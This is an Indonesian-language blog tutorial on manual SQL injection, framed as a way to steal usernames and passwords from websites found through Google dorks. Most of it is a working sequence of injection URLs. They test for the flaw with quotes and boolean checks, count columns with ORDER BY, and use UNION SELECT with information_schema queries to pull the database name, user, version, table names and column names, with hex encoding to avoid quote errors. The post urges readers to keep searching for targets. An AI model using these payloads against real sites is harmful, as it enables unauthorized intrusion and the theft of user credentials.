IMPLEMENTASI SQL INJECTION


pada tutorial ini saya akan memberikan tutorial bagaiman caranya merampas Username dan Password.
ditutorial ini kita akan menggunakan metode manual jadi tidak menggunakan software atau Tool, Ok baik lanjut saja ya.

untuk dork bisa cari di google banyak sekali.. karena saya disini hanya membahas Implementasi SQL injection saja.. langsung saja
contoh

http://localhost.com/berita.php?id=5

 maka tidak ada yang aneh pada web tersebut, untuk mengetahui suatu web memiliki bug SQL Injection,tambahkan sebuah tanda petik (') pada akhir url,sehingga urlnya menjadi.

http://localhost.com/berita.php?id=5'

dan apa yang terjadi pada web tersebut, jika muncul tulisan

Mr.SQL Said: You have an error in your SQL syntax.check the manual that corresponds to your MySQL server version for the night syntax to use near '/" at line 1

atau error apa aja gan,dan berarti parameter id tidak di filter dengan baik atau bahkan tidak difilter sama sekali,untuk mengetahui suatu web applikasi memiliki bug SQL Injection salah satunya adalah menggunakan perintah and+1=1-- perhatikan. ketika di tambahkan parameter +and+1=1-- pada akhir url,situsnya tampil dengan normal karena 1=1 menghasilkan nilai true.

http://localhost.com/berita.php?id=5+and+1=1--

dan ketika ditambahkan parameter+and+1=2-- isi berita tidak ditampilkan karena 1=2 hasilnya false dan ini membuktikan bahwa web applikasi tersebut 99.9% memiliki bug SQL Injection.

http://localhost.com/berita.php?id=5+and+1=2--

saya menggunakan tanda plus (+) sebagai pemisah,jika anda menggunakan space terkadang browser mengkonversinya menjadi hexa sehingga urlnya menjadi  seperti ini.

sebelum di konver http://localhost.com/berita.php?id=5 and 1=1--
sesudah di konver http://localhost.com/berita.php?id=5%20and%201=1--

jadi gak usah bingung kenapa ada tambahan %20 pada url tersebut,agan juga bisa menggunakan tanda (/**/) sebagai pemisah, oya tanda (--) pada akhir statement berfungsi untuk membuat comentar perbaris misalnya.

SELECT * FROM members WHERE username='admin'--' AND password='password'

statement dibelakang  -- yaitu AND password='password' tidak akan di eksekusi lagi,karena sudah di anggap komentar.selain komentar perbaris adalagi yang namanya komentar yang lebih dari 1 baris dengan menggunakan (/*isi komentar*/) misalnya.

http://localhost.com/berita.php?id=15/*keep*/and/*eXplore Your Braind Guys..*/1=1--

sekarang kita cari kolom gan..

setelah saya tau bahwa web tersebut memiliki Bug SQL INjection saya harus mencari tahu nama table dan colom,tapi sebelum itu gue harus mencari tau dulu pada colom keberapa gue bisa melakukan sql injection untuk itu gue menggunakan perintah order+by. misal perhatikan url ini.

http://localhost.com/berita.php?id=5+order+by+1-- <-tidak error
http://localhost.com/berita.php?id=5+order+by+2-- <-tidak error
http://localhost.com/berita.php?id=5+order+by+3-- <-tidak error
http://localhost.com/berita.php?id=5+order+by+4-- <-tidak error
http://localhost.com/berita.php?id=5+order+by+5-- <-tidak error
http://localhost.com/berita.php?id=5+order+by+6-- <-error

intinya sampe browser menampilkan pesan error.
Mr.SQL Said : Unknown colom '6' in 'order clause'

dari pesan tersebut di pastikan terdapat 5 colom.yang terdapat table yang belum kita ketahui namanya.Tau dari mana ada 5 colom...??
ilustrasinya. misalnya gue membuat sebuah table dengan nama table_bian pada mysql yang terdiri dari 3 buah colomns yaitu id,nama dan tanggal, maka ketika kita mengetikan

select * from table_bian where id=1 order by 1; <-tampil normal
select * from table_bian where id=1 order by 2; <-tampil normal 
select * from table_bian where id=1 order by 3; <-tampil normal 
select * from table_bian where id=1 order by 4; <-error
ERROR 1054 (42S22): Unknown colomn '4' in 'order clause'
kenapa tampil erro ya memang kolomnya ada 3
selanjutnya gunakan perintah UNION SELECT

 http://localhost.com/berita.php?id=5+union+select+5--

dan apa yang tampak pada browser tidak ada yang aneh,situsnya tampil dengan normal.
 tetapi jika id saya ganti menjadi -6 yang pastinya tidak ada isi datanya di database.
http://localhost.com/berita.php?id=-6+union+select+1,2,3,4,5--

maka akan nongol angka ajaib. misalnya muncul angka 2 dan 3 itu kerena perintah union select digunakan untuk memilih beberapa data pada database/table yang berbeda pada satu statement.
apakah wajib menggunakan perintah union select ? jawabnya tidak wajib agan bisa mengisinya dengan angka beberapa saja yang penting tidak melebihi jumlah colomn. misal
http://localhost.com/berita.php?id=-6+union+select+500,501,502,503,null--
saat id diganti null atau -1 isi dari column id,nama,dan tanggal hilang karena memang belum ada datanya di database.

cari Informasi database target.

http://localhost.com/berita.php?id=-6+union+select+1,database(),3,4,5-- 
 maka akan muncul nama database misalnya
nama database LINKERS TUX 
 
kenapa di no 2 ngisih database() karena pada saat menggunakan union select muncul angka 2 dan 3 agan bebas mengisi pada angka 3 atau 2.

berikut ini adalah untuk mengintip informasi lainnya.

database() <-untuk menampilkan nama database
user() <-untuk melihat username pada database tersebut
version() <-untuk melihat versi database

fungsi lainnya cari di google ya seperti ini..karena jarang di gunakan dalam melakukan injection

system_user()
session_user()
current_user()
last_insert_id()
connection_id()

gue mencoba mengintip dengan perintah seperti ini yang akan menginjection angka 2 dan 3


http://localhost.com/berita.php?id=-6+union+select+1,user(),version(),4,5--
maka akan muncul nama usernamenya

Misal DEBIAN@localhost

 jika mysql versi 5 berarti beruntung. bisakah menginjection lebih dari satu perintah pada satu colomns??
tentu saja bisa. untuk itu anda bisa menggunakan perintah yang sudah disediahkan oleh MYSQL yaitu perintah concat(perintah1,perintah2,perintah2). contoh


http://localhost.com/berita.php?id=-6+union+select+1,concat(user(),0x3a,database()),version(),4,5--

maka akan muncul DEBIAN@localhost:Linkers 
5.0.45
nb Debian nama username linkers nama database
5.0.4.5 versi mysql

mencari nama table. gunakan perintah ini pada akhir statement
from+information_schema.tables+where+table_schema=database()+limit+0+1-- sehingga urlnya menjadi


http://localhost.com/berita.php?id=-6+union+select+1,2,table_name,4,5+
from+information_schema.tables+where+table_schema=database()+limit+0+1--

maka akan muncul nama table contoh

bian <-nama table
 untuk melihat table selanjutnya tambahkan angka ,1
misal
http://localhost.com/berita.php?id=-6+union+select+1,2,table_name,4,5+
from+information_schema.tables+where+table_schema=database()+limit+0+1,1--

untuk melihat seluruh isi table.

http://localhost.com/berita.php?id=-6+union+select+1,2,group_concat(table_name),4,5+
from+information_schema.tables+where+table_schema=database()--

mendapatkan Nama COlomns table_user sudah saya dapatkan selanjutnya mencari nama columns pada table tersebut.gunakan perintah colomn_name dan pada akhir statement.

http://localhost.com/berita.php?id=-6+union+select+1,column_name,3,4,5+
from+information_schema.colomns+where+table_name='name_table'+limit+0,1--

jika terjadi error. ? jawabnya benar sekali karena terjadi pengulangan tanda petik yang membuat query mysql menjadi error, untuk menceganya..harus di konversi silakan berkunjung ke situs ini menluncur..
setelah saya konver table_user hasilnya seperti ini 6269616e itu belum selesai dan agan harus tambahkan 0x misal 0x6269616e dan ini url yang akan qta injection
 
http://localhost.com/berita.php?id=-6+union+select+1,column_name,3,4,5+
from+information_schema.colomns+where+table_name=0x6269616e+limit+0,1--
 dan tidak akan error lagi gan untuk melihat seluruh colomns

http://localhost.com/berita.php?id=-6+union+select+1,group_concat(column_name),3,4,5+
from+information_schema.colomns+where+table_name=0x6269616e--

cari terus sampe muncul kolom user_id dan password_id dengan mengkonver setiap tabel kolom yang ingin di Test

segitu saja tutorial dari saya maaf gak ada screen shootnya gan :( di karenakan gak pengen ngerusak :( dan tetep berusaha jgan menyerah jika belum menemukan target gan... SELEMAT BERJUANG

1 comment:

Unknown said...
This comment has been removed by the author.
 
Aku hanyalah seorang blogger pemula, yang ingin belajar blogger dengan sendirinya